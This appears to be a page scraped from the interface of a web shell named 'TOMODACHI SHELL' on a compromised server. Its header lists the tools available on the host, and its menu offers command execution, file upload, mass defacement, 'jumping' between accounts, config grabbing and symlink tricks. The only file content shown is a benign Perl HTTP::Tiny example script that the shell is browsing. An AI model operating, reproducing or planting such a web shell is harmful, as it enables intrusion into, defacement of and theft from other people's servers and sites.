TOMODACHI SHELL
|
OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/src/../share/doc/python2-cssselect/../libmcpp/../python2-devel/../perl-HTTP-Tiny/eg/ |
| Home | ☍ Command | ☍ Upload File | ☍Info Server | ☍ Buat File | ☍ Mass deface | ☍ Jumping | ☍ Config | ☍ Symlink | ☍ About |
|---|
#!/usr/bin/perl
use strict;
use warnings;
use HTTP::Tiny;
my $url = shift(@ARGV) || 'http://example.com';
my $response = HTTP::Tiny->new->get($url);
print "$response->{status} $response->{reason}\n";
while (my ($k, $v) = each %{$response->{headers}}) {
for (ref $v eq 'ARRAY' ? @$v : $v) {
print "$k: $_\n";
}
}
print $response->{content} if length $response->{content};